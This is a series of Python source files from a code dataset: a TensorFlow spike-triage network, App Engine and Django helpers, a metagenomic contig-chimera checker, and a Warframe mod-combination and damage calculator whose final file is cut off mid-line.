self.filters_dict['filters']\n C = self.filters_dict['n_neighbors']\n\n # initialize and save nn weights\n self.W1 = weight_variable([R1, 1, 1, K1])\n self.b1 = bias_variable([K1])\n\n self.W11 = weight_variable([1, 1, K1, K2])\n self.b11 = bias_variable([K2])\n\n self.W2 = weight_variable([1, C, K2, 1])\n self.b2 = bias_variable([1])\n\n # initialize savers\n self.saver = tf.train.Saver({\n \"W1\": self.W1,\n \"W11\": self.W11,\n \"W2\": self.W2,\n \"b1\": self.b1,\n \"b11\": self.b11,\n \"b2\": self.b2\n })\n\n def triage_wf(self, wf_tf, threshold):\n \"\"\"\n Run neural net triage on given spike waveforms\n\n Parameters:\n -----------\n wf_tf: tf tensor (n_spikes, n_temporal_length, n_neigh)\n tf tensor that produces spikes waveforms\n\n threshold: int\n threshold used on a probability obtained after nn to determine\n whether it is a clear spike\n\n Returns:\n -----------\n tf tensor (n_spikes,)\n a boolean tensorflow tensor that produces indices of\n clear spikes\n \"\"\"\n # get parameters\n K1, K2 = self.filters_dict['filters']\n\n # first layer: temporal feature\n layer1 = tf.nn.relu(conv2d_VALID(tf.expand_dims(wf_tf, -1),\n self.W1) + self.b1)\n\n # second layer: feataure mapping\n layer11 = tf.nn.relu(conv2d(layer1, self.W11) + self.b11)\n\n # third layer: spatial convolution\n o_layer = conv2d_VALID(layer11, self.W2) + self.b2\n\n # thrshold it\n return o_layer[:, 0, 0, 0] > np.log(threshold / (1 - threshold))\n","sub_path":"src/yass/neuralnetwork/nntriage.py","file_name":"nntriage.py","file_ext":"py","file_size_in_byte":3509,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"417528957","text":"from google.appengine.ext import db\nimport datetime\nimport time\n\nSIMPLE_TYPES = (int, long, float, bool, dict, basestring, list)\n\ndef to_dict(model):\n output = {}\n\n for key, prop in model.properties().iteritems():\n value = getattr(model, key)\n\n if value is None or isinstance(value, SIMPLE_TYPES):\n output[key] = value\n elif isinstance(value, datetime.date):\n # Convert date/datetime to ms-since-epoch (\"new Date()\").\n dt = datetime.datetime(value.year, value.month, value.day)\n ms = time.mktime(dt.utctimetuple()) * 1000\n ms += getattr(value, 'microseconds', 0) / 1000\n output[key] = int(ms)\n elif isinstance(value, db.Model):\n output[key] = to_dict(value)\n else:\n output[key] = 'user no support'\n #str(prop)\n #raise ValueError('cannot encode ' + repr(prop))\n\n return output\n\ndef date2json(d):\n 'month value whose range starts with zero, so Nov = 10, Dec = 11'\n return 'new Date(%d, %d, %d)' % (d.year, d.month - 1, d.day)\n\n","sub_path":"hlhomestay/json.py","file_name":"json.py","file_ext":"py","file_size_in_byte":1085,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"277456228","text":"\nfrom api.follow import get_follower_count, get_following_count\nfrom api.room import get_user_room_count\n\n\nclass Account:\n def __init__(self, token, user):\n self.token = token\n self.user = user\n\n def to_dict(self):\n \"\"\" \n { \n token: \"dsfaoijclkjvzcxzviojsifj\"\n id: dsfa-dfad-sfasdfad-fdasfa\n numId: 123\n name: \"real admin\"\n about: \"大家好!\"\n credit: 78\n followerCount: 123\n followingCount: 321\n }\n \"\"\"\n account_data = self.user\n\n account_data[\"token\"] = self.token\n user_id = self.user['id']\n account_data[\"roomCount\"] = get_user_room_count(user_id)\n account_data[\"followerCount\"] = get_follower_count(user_id)\n account_data[\"followingCount\"] = get_following_count(user_id)\n return account_data\n","sub_path":"src/web/api/account.py","file_name":"account.py","file_ext":"py","file_size_in_byte":855,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"256963364","text":"# -*- coding: utf-8 -*-\n# @Author : Jesse.T\n# @Time : 2019/10/15 17:59\nfrom django.urls import path\n\nfrom . import views\n\napp_name = 'nav'\n\nurlpatterns = [\n path('',views.nav_home,name='nav_home'),\n path('search/', views.search, name='search')\n]","sub_path":"nav/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":253,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"588837426","text":"#!/usr/bin/env python3\n\"\"\"\n\nThis script assesses contamination in a metagenomic assemby. The reads must be identified with the\norigin genome in their name ab«nd the alignment saved in PAF format\n\nThis script takes the following arguments (in this order):\n * list of alignment filenames PAF format (minimap2)\n\n\"\"\"\n\nimport sys\nimport os\nfrom collections import Counter\nfrom plotly.subplots import make_subplots\nimport plotly.graph_objs as go\nimport random\n\n\ndef is_number(s):\n try:\n float(s)\n return True\n except ValueError:\n return False\n\n\ndef get_contig_info(paf_filename):\n\n contigs = {}\n\n with open(paf_filename, \"r\") as paf_file:\n\n for line in paf_file:\n line_fields = line.split(\"\\t\")\n # Skip lines with no ID - where do they come from?\n if not is_number(line_fields[0].split('-')[0]):\n if line_fields[5] in contigs.keys():\n contigs[line_fields[5]][\"origin\"].add(line_fields[0].split('-')[0].split('_')[0].split('.')[0])\n else:\n contigs[line_fields[5]] = {\"origin\": {line_fields[0].split('-')[0].\n split('_')[0].split('.')[0]}, \"length\": line_fields[6]}\n return contigs\n\n\ndef get_contaminated_contig_counts(filename, paf_contigs):\n\n data = {}\n\n # evaluate contamination\n data[filename] = {\"contaminated\": [], \"good\": []}\n to_report = []\n\n for contig in paf_contigs.keys():\n if len(paf_contigs[contig][\"origin\"]) > 1: # more than one species mapped to a contig\n data[filename][\"contaminated\"].append(str(paf_contigs[contig][\"length\"]))\n to_report.append(str(paf_contigs[contig][\"origin\"]))\n else:\n data[filename][\"good\"].append(str(paf_contigs[contig][\"length\"]))\n\n print(\"Chimeric contigs: {} out of {} for {}\".\n format(len(data[filename][\"contaminated\"]),\n len(data[filename][\"contaminated\"]) + len(data[filename][\"good\"]),\n filename))\n\n # Reporting....\n with open(filename + \"_chimera.txt\", \"w\") as outfile:\n counter = Counter(to_report)\n for key, value in counter.most_common():\n outfile.write(key + ':\\t' + str(value) + '\\n')\n\n return data\n\n\ndef main():\n try:\n paf_filename = sys.argv[1:]\n\n # If no arguments were given, just print the header line.\n except IndexError:\n print(\"No PAF mapping file provided. Exiting.. \")\n sys.exit(0)\n\n fig = make_subplots(rows=1, cols=len(paf_filename), shared_yaxes=True,\n subplot_titles=(\"MEGAHIT\", \"metaSPADES\", \"SKESA\", \"SPADES\"))\n\n for file in paf_filename:\n\n print(\"Parsing {}\".format(file))\n paf_contigs = get_contig_info(file)\n filename = os.path.basename(file).split(\"_\")[2] # files are named reads_vs_{assembler}.paf\n\n data_dict = get_contaminated_contig_counts(filename, paf_contigs)\n\n fig.append_trace(go.Scatter(\n x=[random.uniform(0, 1) for i in range(len(data_dict[filename][\"contaminated\"]))],\n y=data_dict[filename][\"contaminated\"],\n mode='markers',\n name=\"{} chimera\".format(filename),\n opacity=0.7,\n ), 1, paf_filename.index(file)+1)\n fig.append_trace(go.Scatter(\n x=[random.uniform(0, 1) for i in range(len(data_dict[filename][\"good\"]))],\n y=data_dict[filename][\"good\"],\n mode='markers',\n name=filename,\n opacity=0.7\n ), 1, paf_filename.index(file)+1)\n\n fig.update_xaxes(showticklabels=False)\n fig.show()\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"scripts/contig_chimera.py","file_name":"contig_chimera.py","file_ext":"py","file_size_in_byte":3831,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"386151602","text":"import copy\r\nfrom math import factorial\r\n\r\ndef Matrix_Trace(list):\r\n\t##function that returns the trace of a pseudo-matrix\r\n\tsum=0\r\n\tfor i in range(len(list)):\r\n\t\tsum+=list[i][i]\r\n\treturn sum\r\n\r\ndef Zero_List(size):\r\n\t##function that yields a list with zeroes\r\n\t##lazy ass programmers should have built this already\r\n\treturn [0]*size\r\n\t\r\ndef Line_Sum(list):\r\n\t##function that returns >0 if an element has been used before\r\n\tsum=0\r\n\tfor i in range(len(list)):\r\n\t\tsum+=list[i]\r\n\treturn sum\r\n\r\ndef Kick_Start(n):\r\n\tl=[]\r\n\tfor i in range(n):\r\n\t\tl+=[i]\r\n\treturn l\t\r\n\t\r\ndef Interval_Combination_Function(value,mod_number):\r\n\tglobal Available_Mods\r\n\tglobal Elemental_Mods\r\n\t##value is a number ranging from 0 to 1\r\n\te=len(Elemental_Mods)\r\n\ts=len(Available_Mods)\r\n\t\r\n\tif value>=1:\r\n\t\treturn False,False\r\n\tif value<=0:\r\n\t\treturn \tKick_Start(mod_number),[]\r\n\t\r\n\t##Separate in a list number of combinations based on len(Ele_mods)\r\n\tcombinations=[]\r\n\ttotal=0\r\n\tfor i in range(mod_number+1):\r\n\t\tcombinations+=[int((factorial(e)/factorial(e-i))*(factorial(s)/(factorial(s-mod_number+i)*factorial(mod_number-i))))]\r\n\t\ttotal+=combinations[i]\r\n\tvalue=int(value*total)\r\n\t\r\n\t##Now search for the number of elemental mods on combination\r\n\tele_count=0\r\n\twhile value>=0:\r\n\t\tvalue-=combinations[ele_count]\r\n\t\tele_count+=1\r\n\tele_count-=1\r\n\t\r\n\t##Finally, calculate the solution\r\n\t##going to separate into combination numbers for stats and ele\r\n\tStat_Solution=Kick_Start(mod_number-ele_count)\r\n\t\r\n\tvalue+=combinations[ele_count]\r\n\r\n\t##value=rem_stat+comb(stat)*rem_ele\r\n\t##alpha's are the separate ammount of +1 additions to each counterpart\r\n\tstat_alpha=value%(factorial(s)/(factorial(s-mod_number+ele_count)*factorial(mod_number-ele_count)))\r\n\tele_alpha=value//(factorial(s)/(factorial(s-mod_number+ele_count)*factorial(mod_number-ele_count)))\r\n\r\n\t##now just have to reconstruct each combination starting with Kick_Start(*) for each part\r\n\t##because that is highly complicated, it's easier to just calculate the first entry\r\n\t##and then the approximate result is adding that to Kick_Start(*)\r\n\t##the fact it will never be correct doesn't matter because the objective is to always calculate all combinations\r\n\t##thus the end of one is the start of the other\r\n\t\r\n\tele_beta=factorial(e-1)/factorial(e-ele_count)\r\n\tstart_ele=int(ele_alpha//ele_beta)\r\n\t\r\n\tEle_Solution=[start_ele]+Kick_Start(ele_count-1)\r\n\t\r\n\t##finally check for repeated mods\r\n\tdef check_loop_repetition():\r\n\t\tfor l in range(ele_count):\r\n\t\t\tfor m in range(l):\r\n\t\t\t\tif Ele_Solution[m]==Ele_Solution[l]:\r\n\t\t\t\t\treturn l\r\n\t\treturn \"Nope\"\r\n\t\r\n\tcheck=check_loop_repetition()\r\n\twhile check!=\"Nope\":\r\n\t\tfor n in range(check,ele_count):\r\n\t\t\tEle_Solution[n]+=1\r\n\t\tcheck=check_loop_repetition()\r\n\t\r\n\treturn Stat_Solution,Ele_Solution\r\n\r\ndef mod_layout(name,stat_dict):\r\n\t##Assume it's a stat mod. If not, Elemental is naturally surfaced in the dictionary and easily checked\r\n\tlayout={\"Damage_Multi\":0, \"Phys\":[0,0,0], \"Multishot\":0, \"Attack_Speed\":0, \"Crit_Chance\":0, \"Crit_Multi\":0, \"Status\":0, \"Ammo\":0, \"Max_Ammo\":0, \"Finisher\":0, \"StatusDurationModifier\":0, \"ReloadModifier\":0, \"PunchModifier\":0}\r\n\tstat_dict[\"Name\"]=name\r\n\tfor i in layout:\r\n\t\tif i not in stat_dict:\r\n\t\t\tstat_dict[i]=layout[i]\r\n\treturn stat_dict\r\n\t\r\n##---------------------------------------------------MOD SPAMMER-----------------------------------------------------------\r\n##Start with Stat_Used_Mods=Kick_Start(n) and Elemental_Used_Mods=[]\r\n##Last one has to be Stat_Used_Mods=[] Elemental_Used_Mods=[n,n-1,...] where n=len(Ele_Mods)-1\r\n##Basically add 1 at the end of Stat_Used_Mods and propagate it if it becomes equal to len(Stat_Mods)\t\r\ndef Mod_Spammer(Stat_Mods,Ele_Mods):\r\n\tS=len(Available_Mods)\r\n\tE=len(Elemental_Mods)\r\n\ts=len(Stat_Mods)\r\n\te=len(Ele_Mods)\r\n\t\r\n\t##End Case\r\n\tZeroe=Kick_Start(s+e)\r\n\tEnd_Case=[E-1]*(s+e)\r\n\tfor i in range(s+e):\r\n\t\tEnd_Case[i]-=i\r\n\tif Ele_Mods==End_Case and Stat_Mods==[]:\r\n\t\treturn False, False\r\n\t\t\r\n\t##Truncated Ele end case, to account when there is a shift in ammount of mods\r\n\tTruncated_End_Case=[E-1]*e\r\n\tfor o in range(e):\r\n\t\tTruncated_End_Case[o]-=o\r\n\r\n\t##Check for same item used in Ele_Mods\r\n\tdef Repeat():\r\n\t\tfor m in range(e):\r\n\t\t\tfor n in range(m):\r\n\t\t\t\tif Ele_Mods[m]==Ele_Mods[n]:\r\n\t\t\t\t\treturn True\r\n\t\treturn False\t\t\t\r\n\t\r\n\t##Extra value for Ele_Mods\r\n\tdef Addendum():\r\n\t\tEle_Mods[e-1]+=1\r\n\t\tfor l in range(e):\r\n\t\t\tif Ele_Mods[e-1-l]==E:\r\n\t\t\t\tEle_Mods[e-2-l]+=1\r\n\t\t\t\tfor w in range(e-1-l,e):\r\n\t\t\t\t\tEle_Mods[w]=0\r\n\t\treturn None\r\n\t\r\n\t##Last Cases\r\n\tif Stat_Mods==[]:\r\n\t\tAddendum()\r\n\t\twhile Repeat()==True:\r\n\t\t\tAddendum()\r\n\t\treturn Stat_Mods, Ele_Mods\r\n\t\r\n\t##Stat_Mods change, +1 added to last and propagation assuming values are increasing inside the list and with no repetition\r\n\tStat_Mods[s-1]+=1\r\n\tfor j in range(s):\r\n\t\tif Stat_Mods[s-1-j]==S-j:\r\n\t\t\t##Check when the j element from the end has reached the limit\r\n\t\t\tif j!=s-1:\r\n\t\t\t\tStat_Mods[s-2-j]+=1\r\n\t\t\t\tfor p in range(s-1-j,s):\r\n\t\t\t\t\tStat_Mods[p]=Stat_Mods[p-1]+1\r\n\t\t\telse:\r\n\t\t\t\t##Check when Ele_Mods is at maximum capacity\r\n\t\t\t\tif Ele_Mods==Truncated_End_Case:\r\n\t\t\t\t\tif s==1:\r\n\t\t\t\t\t\treturn [], Kick_Start(e+1)\r\n\t\t\t\t\telse:\r\n\t\t\t\t\t\treturn Kick_Start(s-1), Kick_Start(e+1)\r\n\t\t\t\telse:\r\n\t\t\t\t\tStat_Mods=Kick_Start(s)\r\n\t\t\t\t\tAddendum()\r\n\t\t\t\t\twhile Repeat()==True:\r\n\t\t\t\t\t\tAddendum()\r\n\r\n\treturn Stat_Mods, Ele_Mods\r\n\r\n\t\r\n\t\r\n\t\r\n\t\r\n\t\r\n##Elements: Fire=0; Cold=1; Lightning=2; Toxin=3\r\n##Phys:[Puncture%,Impact%,Slash%]\r\n##Mod[Elemental]=[Type,%]\r\n##Weapon[Elemental]=[[1st_element,2nd_element],%]; if 1 type, 1st=2nd; if %=0, Weapon[Elemental]=[]\r\n\r\n##---------------------------------------------------FACTION CALC-------------------------------------------------------------\r\ndef Grineer(Phys_List,Elemental_List,Level,ArMulti,ViralChance):\r\n\t##Function will take into account all units with the respective level limiters, as units cannot group into similar vitality categories\r\n\t##This means that every calculation will be very extensive\r\n\t##Note that separations won't take into account armour, as that counts as damage reduction, so only total health will be considered\r\n\t##Also, all Grineer have Cloned Flesh, so they work as a global modifier\r\n\t##Ferrite and Alloy can also be separated\r\n\t##ArMulti should account for Corrosive procs as well as CP auras\r\n\tL1H=(1+((Level-1)**2)*0.015)*(1500*(Level<15)+5800)\r\n\tL3H=(Level>=3)*(1+((Level-3)**2)*0.015)*650\r\n\tL5H=(Level>=5)*(1+((Level-5)**2)*0.015)*2000\r\n\tL6H=(Level>=6)*(1+((Level-6)**2)*0.015)*600\r\n\tL8H=(Level>=8)*(1+((Level-8)**2)*0.015)*1500\r\n\tL10H=(Level>=10)*(1+((Level-10)**2)*0.015)*2450\r\n\tL12H=(Level>=12)*(1+((Level-12)**2)*0.015)*1500\r\n\tL15H=(Level>=15)*(1+((Level-15)**2)*0.015)*2300\r\n\tEtotal=19+20*(Level<15)+3*(Level>=3)+10*(Level>=5)+(Level>=6)+3*(Level>=7)+5*(Level>=8)+15*(Level>=10)+3*(Level>=12)+17*(Level>=15)\r\n\tTH=(L1H+L3H+L5H+L6H+L8H+L10H+L12H+L15H)\r\n\t\r\n\t##type is: 'flesh multi'*('ferrite multi'*('ferrite enemies') + 'alloy multi'*('alloy enemies'))\r\n\t##'* enemies' must contain average presence and armour modifier from element\r\n\tdef ferrititis(multiplicatorus):\r\n\t\tmultiplicatorus/=100\r\n\t\tmahha=1+multiplicatorus\r\n\t\tmultiplicatorus=1-multiplicatorus\r\n\t\tmultiplicatorus*=ArMulti\r\n\t\tsol=(Level<15)*(1+((Level-1)**2)*0.015)*(500/(1+1/60*multiplicatorus*(1+((Level-1)**1.75)*0.005)) + 1000/(1+1/3*multiplicatorus*(1+((Level-1)**1.75)*0.005)))\t\t\t##Level 1 and Level<15\r\n\t\tsol+=(1+((Level-1)**2)*0.015)*(150/(1+1/60*multiplicatorus*(1+((Level-1)**1.75)*0.005)) + 500/(1+1/3*multiplicatorus*(1+((Level-1)**1.75)*0.005)) + 500/(1+2/3*multiplicatorus*(1+((Level-1)**1.75)*0.005)) + 1200/(1+1/2*multiplicatorus*(1+((Level-1)**1.75)*0.005)) + 1950/(1+1/6*multiplicatorus*(1+((Level-1)**1.75)*0.005)))\t\t\t##Rest of Level 1\r\n\t\tsol+=L3H/650*(150/(1+1/60*multiplicatorus*(1+((Level-3)**1.75)*0.005)) + 500/(1+1/3*multiplicatorus*(1+((Level-3)**1.75)*0.005)))\t\t\t##Level 3\r\n\t\tsol+=L5H/(1+1/60*multiplicatorus*(1+((Level-5)**1.75)*0.005))\t\t\t\t\t##Level 5\r\n\t\tsol+=L8H/(1+5/3*multiplicatorus*(1+((Level-8)**1.75)*0.005))\t\t\t\t\t##Level 8\r\n\t\tsol+=L10H/2450*(1350/(1+1/2*multiplicatorus*(1+((Level-10)**1.75)*0.005)) + 500/(1+5/3*multiplicatorus*(1+((Level-10)**1.75)*0.005)) + 600/(1+1/3*multiplicatorus*(1+((Level-10)**1.75)*0.005)))\t\t\t##Level 10\r\n\t\tsol+=L12H/(1+2/3*multiplicatorus*(1+((Level-12)**1.75)*0.005))\t\t\t\t\t##Level 12\r\n\t\tsol+=L15H/2300*500/(1+1/3*multiplicatorus*(1+((Level-15)**1.75)*0.005))\t\t\t##Level 15\t\r\n\t\tresult=mahha*sol/TH\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t##For some reason numbers became complex\r\n\t\treturn result.real\r\n\t\r\n\tdef alloyitis(multiplicatorus):\r\n\t\tmultiplicatorus/=100\r\n\t\tmahha=1+multiplicatorus\r\n\t\tmultiplicatorus=1-multiplicatorus\r\n\t\tmultiplicatorus*=ArMulti\r\n\t\tsol=L15H/2300*1800/(1+2/3*multiplicatorus*(1+((Level-15)**1.75)*0.005))\t\t\t\t\t\t\t\t##Level 15\r\n\t\tsol+=L6H/(1+5/3*multiplicatorus*(1+((Level-6)**1.75)*0.005))\t\t\t\t\t\t\t\t\t\t##Level 6\r\n\t\tsol+=1500*(1+((Level-1)**2)*0.015)/(1+multiplicatorus*(1+((Level-1)**1.75)*0.005))\t\t\t\t\t##Level 1\r\n\t\tresult=mahha*sol/TH\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t##For some reason numbers became complex\r\n\t\treturn result.real\r\n\t\r\n\tElemental_List[0][0]*=1.25*(ferrititis(0)+alloyitis(0))\r\n\tElemental_List[0][1]*=ferrititis(-25)+alloyitis(0)\r\n\tElemental_List[1][0]=Elemental_List[0][1]\r\n\tElemental_List[0][2]*=ferrititis(0)+alloyitis(75)\r\n\tElemental_List[2][0]=Elemental_List[0][2]\r\n\tElemental_List[0][3]*=0.5*(ferrititis(0)+alloyitis(0))\r\n\tElemental_List[3][0]=Elemental_List[0][3]\r\n\tElemental_List[1][1]*=ferrititis(0)+alloyitis(25)\r\n\tElemental_List[1][2]*=ferrititis(0)+alloyitis(-50)\r\n\tElemental_List[2][1]=Elemental_List[1][2]\r\n\tElemental_List[1][3]*=1.75*(ferrititis(0)+alloyitis(0))\r\n\tElemental_List[3][1]=Elemental_List[1][3]\r\n\tElemental_List[2][2]*=ferrititis(0)+alloyitis(-50)\r\n\tElemental_List[2][3]*=ferrititis(75)+alloyitis(0)\r\n\tElemental_List[3][2]=Elemental_List[2][3]\r\n\tElemental_List[3][3]*=ferrititis(25)+alloyitis(0)\r\n\t\r\n\tPhys_List[0]*=ferrititis(50)+alloyitis(15)\r\n\tPhys_List[1]*=0.75*(ferrititis(0)+alloyitis(0))\r\n\tPhys_List[2]*=1.25*(ferrititis(-15)+alloyitis(-50))\r\n\t\r\n\tfor i in range(4):\r\n\t\tfor j in range(4):\r\n\t\t\tElemental_List[i][j]/=1-ViralChance*0.5\r\n\tfor i in range(3):\r\n\t\tPhys_List[i]/=1-ViralChance*0.5\r\n\treturn [Phys_List,Elemental_List,TH/Etotal]\r\n\r\ndef Corpus(Phys_List,Elemental_List,Level,MagChance,ShieldMulti,ViralChance):\r\n\t##Corpus have Shields and Health, thus each unit counts twice\r\n\t##Viral and Magnetic procs yield a different multiplier according to the relation between shield and health\r\n\t##ShieldMulti should account for Shield Auras\r\n\t##Damage calculations can then be separated between Shield, ProtoShield, Flesh and Robotic\r\n\t##Bursas are disregarded, they are incredibly rare, and they can be ignored/avoided in-game easily\r\n\t##Also, toxin damage bypasses shields entirely, thus its damage is divided by health type twice (once for normalizing and twice for rescaling with shields)\r\n\t##This also applies to its status proc, and can be implemented later as normal because there is no double dipping\r\n\t##Armour is absent, but ShieldMulti, Mag Procs and Viral Procs effectively work as 'pseudo armour' in the calculations\r\n\t##I.e. one cannot simply use D*=1+('Modifiers')\r\n\t##ShieldMulti originates a 1/ShieldMulti multiplier on shield modifiers\r\n\t##MagChance originates a 1/(1-0.75*MagChance) multiplier on shield modifiers\r\n\t##ViralChance originates a 1/(1-ViralChance*0.5) multiplier on health modifiers\r\n\tUniTot=37+10*(Level<15)+(Level>=5)*10+(Level>=10)*5+9*(Level>=15)\r\n\tFT=((600+1600*(Level<15))*(1+((Level-1)**2)*0.015)+5840*(1+((Level-15)**2)*0.015)*(Level>=15))*(1-ViralChance*0.5)/UniTot\r\n\tRT=(1000*(1+((Level-1)**2)*0.015)+600*(1+((Level-5)**2)*0.015)*(Level>=5)+1250*(1+((Level-10)**2)*0.015)*(Level>=10))*(1-ViralChance*0.5)/UniTot\r\n\tST=((4750+2000*(Level<15))*(1+((Level-1)**2)*0.0075)+1500*(1+((Level-5)**2)*0.0075)*(Level>=5)+1250*(1+((Level-10)**2)*0.0075)*(Level>=10)+2400*(1+((Level-15)**2)*0.0075)*(Level>=15))*ShieldMulti*(1-0.75*MagChance)/UniTot\r\n\tPT=1850*(Level>=15)*(1+((Level-15)**2)*0.0075)*ShieldMulti*(1-0.75*MagChance)/UniTot\r\n\tTotalum=FT+RT+ST+PT\r\n\talphaF=FT/Totalum\r\n\talphaR=RT/Totalum\r\n\talphaS=ST/Totalum\r\n\talphaP=PT/Totalum\r\n\r\n\tElemental_List[0][0]*=alphaS+0.5*alphaP+alphaF+alphaR\r\n\tElemental_List[0][1]*=alphaS+alphaP+alphaF+alphaR\r\n\tElemental_List[1][0]=Elemental_List[0][1]\r\n\tElemental_List[0][2]*=0.75*alphaS+alphaP+alphaF+1.25*alphaR\r\n\tElemental_List[2][0]=Elemental_List[0][2]\r\n\tElemental_List[0][3]*=alphaS+alphaP+0.75*alphaF+alphaR\r\n\tElemental_List[3][0]=Elemental_List[0][3]\r\n\tElemental_List[1][1]*=1.5*alphaS+alphaP+alphaF+alphaR\r\n\tElemental_List[1][2]*=1.75*(alphaS+alphaP)+alphaF+alphaR\r\n\tElemental_List[2][1]=Elemental_List[1][2]\r\n\tElemental_List[1][3]*=alphaS+alphaP+1.5*alphaF+alphaR\r\n\tElemental_List[3][1]=Elemental_List[1][3]\r\n\tElemental_List[2][2]*=alphaS+alphaP+alphaF+1.5*alphaR\r\n\tElemental_List[2][3]*=alphaS+0.5*alphaP+alphaF+alphaR\r\n\tElemental_List[3][2]=Elemental_List[2][3]\r\n\tElemental_List[3][3]*=(1.5*alphaF+0.75*alphaR)*(Totalum/(FT+RT))**2\r\n\t\r\n\tPhys_List[0]*=0.8*alphaS+0.5*alphaP+alphaF+1.25*alphaR\r\n\tPhys_List[1]*=1.5*alphaS+1.15*alphaP+0.75*alphaF+alphaR\r\n\tPhys_List[2]*=alphaS+alphaP+1.25*alphaF+0.75*alphaR\r\n\t\r\n\tfor i in range(3):\r\n\t\tPhys_List[i]*=((ST+PT)/(ShieldMulti*(1-0.75*MagChance))+(FT+RT)/(1-ViralChance*0.5))/Totalum\r\n\t\r\n\tfor i in range(4):\r\n\t\tfor j in range(4):\r\n\t\t\tElemental_List[i][j]*=((ST+PT)/(ShieldMulti*(1-0.75*MagChance))+(FT+RT)/(1-ViralChance*0.5))/Totalum\r\n\t\r\n\treturn [Phys_List,Elemental_List,Totalum]\r\n\t\r\ndef Infested(Phys_List,Elemental_List,Level,ArMulti,RadChance,ViralChance):\r\n\t##ArMulti should account for Corrosive procs as well as CP auras [probably no CP vs Infested]\r\n\t##Ancients's Aura covers +-10 units\r\n\t##Ancient Healer's Aura grants 90% damage reduction, thus counts as [(N-20)/N + 0.1*(1-RadChance)*20/N+RadChance*20/N]=[(N-18)/N+RadChance*18/N]\r\n\t##Toxic Ancient's Aura grants 100% Toxin resistance and 80% Gas resistance,\r\n\t##thus counts as [(N-20)/N+RadChance*20/N] for Toxin and [(N-20)/N + 0.2*(1-RadChance)*20/N+RadChance*20/N]=[(N-16)/N+RadChance*16/N] for Gas\r\n\t##Swarm-M MOA's armor covers 3 units, thus it's 10% that doesnt affect ancients\r\n\t##Coding armor as 85%Infested; 10%InfFlesh; 5%Fossilized\r\n\t##This gives 0.17*AlphaI; 0.06*AlphaIF; 0.015*AlphaF\r\n\tTH=1280*(1+((Level-1)**2)*0.015)+650*(1+((Level-1)**2)*0.015)+2000*(1+((Level-1)**2)*0.015)+2600*(1+((Level-12)**2)*0.015)*(Level>=12)\r\n\tNumberEnemies=27+4*(Level>=12)\r\n\tAlphaI=1280*(1+((Level-1)**2)*0.015)/TH\r\n\tAlphaIF=650*(1+((Level-1)**2)*0.015)/TH\r\n\tAlphaF=(2000*(1+((Level-1)**2)*0.015)+2600*(1+((Level-12)**2)*0.015)*(Level>=12))/TH\r\n\tHealer_Multi=(NumberEnemies-18*(1-RadChance))/NumberEnemies\r\n\tToxic_Toxin_Multi=(NumberEnemies-20*(1-RadChance))/NumberEnemies\r\n\tToxic_Gas_Multi=(NumberEnemies-16*(1-RadChance))/NumberEnemies\r\n\tSMMOAAr=700*ArMulti*(1+((Level-1)**1.75)*0.005)\r\n\t\r\n\tElemental_List[0][0]*=AlphaI*1.25*(0.83+0.17/(1+SMMOAAr/300))+AlphaIF*1.5*(0.94+0.06/(1+SMMOAAr/300))+AlphaF*(0.985+0.015/(1+SMMOAAr/300))\r\n\tElemental_List[0][1]*=AlphaI*(0.83+0.17*0.75/(1+1.25*SMMOAAr/300))+AlphaIF*(0.94+0.06*0.75/(1+1.25*SMMOAAr/300))+AlphaF*1.5*(0.985+0.015*0.75/(1+1.25*SMMOAAr/300))\r\n\tElemental_List[1][0]=Elemental_List[0][1]\r\n\tElemental_List[0][2]*=AlphaI*0.5*(0.83+0.17/(1+SMMOAAr/300))+AlphaIF*(0.94+0.06/(1+SMMOAAr/300))+AlphaF*0.25*(0.985+0.015/(1+SMMOAAr/300))\r\n\tElemental_List[2][0]=Elemental_List[0][2]\r\n\tElemental_List[0][3]*=Toxic_Gas_Multi\r\n\tElemental_List[0][3]*=AlphaI*1.75*(0.83+0.17/(1+SMMOAAr/300))+AlphaIF*1.5*(0.94+0.06/(1+SMMOAAr/300))+AlphaF*(0.985+0.015/(1+SMMOAAr/300))\r\n\tElemental_List[3][0]=Elemental_List[0][3]\r\n\tElemental_List[1][1]*=AlphaI*(0.83+0.17/(1+SMMOAAr/300))+AlphaIF*0.5*(0.94+0.06/(1+SMMOAAr/300))+AlphaF*0.75*(0.985+0.015/(1+SMMOAAr/300))\r\n\tElemental_List[1][2]*=AlphaI*(0.83+0.17/(1+SMMOAAr/300))+AlphaIF*(0.94+0.06/(1+SMMOAAr/300))+AlphaF*(0.985+0.015/(1+SMMOAAr/300))\r\n\tElemental_List[2][1]=Elemental_List[1][2]\r\n\tElemental_List[1][3]*=AlphaI*0.5*(0.83+0.17/(1+SMMOAAr/300))+AlphaIF*(0.94+0.06/(1+SMMOAAr/300))+AlphaF*(0.985+0.015/(1+SMMOAAr/300))\r\n\tElemental_List[3][1]=Elemental_List[1][3]\r\n\tElemental_List[2][2]*=AlphaI*(0.83+0.17/(1+SMMOAAr/300))+AlphaIF*(0.94+0.06/(1+SMMOAAr/300))+AlphaF*(0.985+0.015/(1+SMMOAAr/300))\r\n\tElemental_List[2][3]*=AlphaI*(0.83+0.17*1.75/(1+0.25*SMMOAAr/300))+AlphaIF*(0.94+0.06*1.75/(1+0.25*SMMOAAr/300))+AlphaF*1.75*(0.985+0.015*1.75/(1+0.25*SMMOAAr/300))\r\n\tElemental_List[3][2]=Elemental_List[2][3]\r\n\tElemental_List[3][3]*=Toxic_Toxin_Multi\r\n\tElemental_List[3][3]*=AlphaI*(0.83+0.17*1.25/(1+0.75*SMMOAAr/300))+AlphaIF*(0.94+0.06*1.25/(1+0.75*SMMOAAr/300))+AlphaF*0.5*(0.985+0.015*1.25/(1+0.75*SMMOAAr/300))\r\n\t\r\n\tPhys_List[0]*=AlphaI*(0.83+0.17*1.5/(1+0.5*SMMOAAr/300))+AlphaIF*(0.94+0.06*1.5/(1+0.5*SMMOAAr/300))+AlphaF*(0.985+0.015*1.5/(1+0.5*SMMOAAr/300))\